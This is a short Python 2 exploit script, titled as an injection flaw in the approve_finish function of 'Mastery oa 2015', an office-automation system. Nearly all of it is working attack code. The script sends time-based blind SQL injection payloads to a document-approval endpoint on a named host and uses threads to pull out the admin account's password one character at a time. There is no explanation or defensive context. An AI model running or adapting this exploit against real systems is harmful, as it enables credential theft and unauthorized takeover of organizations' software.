Mastery oa 2015 \inc\common.inc.php approve_finish function injection vulnerability

                                                import threading,time
import requests

url = "http://lemon.love:8081/general/document/index.php/send/approve/finish"

def exp(n):
    global data
    for c in range(33,127):
        i = c
        flag = 1
        payload = "1) and char(@`'`)  union select if(ord(mid(PASSWORD,%d,1))=%d,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" % (n,i)
        exp_data = {
            'sid' : payload
        }
        cookies = {
            '_SERVER' : ''
        }
        try:
            res = requests.post(url, data=exp_data, cookies=cookies, timeout=5)
        except:
            data[n] = chr(i)
            print "Data %dth: %s" % (n,data[n])
            flag = 0
            break
    if flag:
        exit()

def main():
    threadpool=[]

    for n in xrange(1,10):
        th = threading.Thread(target=exp,args= (n,))
        threadpool.append(th)

    for th in threadpool:
        th.start()

    for th in threadpool :
        threading.Thread.join(th)

if __name__ == '__main__':
    data = {}
    start_time = time.time()
    main()
    print "Get data: ",data
    print "Spend time: ",time.time()-start_time
    for i in sorted(data):
        print data[i],